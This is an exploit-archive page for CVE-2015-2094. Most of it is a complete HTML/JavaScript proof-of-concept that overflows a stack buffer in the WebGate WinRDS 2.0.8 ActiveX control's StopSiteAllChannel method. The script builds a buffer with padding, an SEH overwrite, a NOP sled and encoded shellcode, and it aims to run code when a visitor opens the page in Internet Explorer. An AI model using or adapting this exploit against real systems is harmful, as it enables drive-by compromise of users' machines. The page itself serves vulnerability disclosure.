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WebGate WinRDS 2.0.8 StopSiteAllChannel Stack Overflow

WebGate WinRDS 2.0.8 StopSiteAllChannel Stack Overflow
Posted Mar 27, 2015
Authored by Praveen Darshanam

WebGate WinRDS version 2.0.8 suffers from a StopSiteAllChannel stack overflow vulnerability.

tags | exploit, overflow
advisories | CVE-2015-2094
MD5 | a7690e63c750714527b4f9c1cfebef5c

WebGate WinRDS 2.0.8 StopSiteAllChannel Stack Overflow

Change Mirror Download
<html>
<title>WebGate WinRDS WESPPlayback.WESPPlaybackCtrl.1 StopSiteAllChannel Stack Buffer Overflow Vulnerability (0Day)</title>
<!--
# Exploit Title: WebGate WinRDS StopSiteAllChannel Stack Overflow SEH Overwrite (0Day)
# Google Dork: [if relevant] (we will automatically add these to the GHDB)
# Date: 27th March, 2015
# Exploit Author: Praveen Darshanam
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/
# Software Link: http://www.webgateinc.com/wgi/eng/index.php?svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=36
# Version: WinRDS 2.0.8
# Tested on: Windows XP SP3 using IE/6/7/8
# CVE : 2015-2094

targetFile = "C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll"
prototype = "Sub StopSiteAllChannel ( ByVal SiteSerialNumber As String )"
progid = "WESPPLAYBACKLib.WESPPlaybackCtrl"
Vulnerable Product = WinRDS 2.0.8
Software = http://www.webgateinc.com/wgi/eng/index.php?svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=36
-->
<object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='ssac'>
</object>
<script>

var buff1 = "";
var nops = "";
var buff2 = "";

for (i=0;i<128; i++)
{
buff1 += "B";
}

nseh = "\xeb\x08PD";
//pop pop ret = 1007f2a0 (0x1007f29e) 1007f2a0
var seh = "\xa0\xf2\x07\x10";
for (i=0;i<80; i++)
{
nops += "\x90";
}
sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";
for (i=0;i<(5000 - (buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++)
{
buff2 += "A";
}

fbuff = buff1 + nseh + seh + nops + sc + buff2;
ssac.StopSiteAllChannel(fbuff);

</script>
</html>

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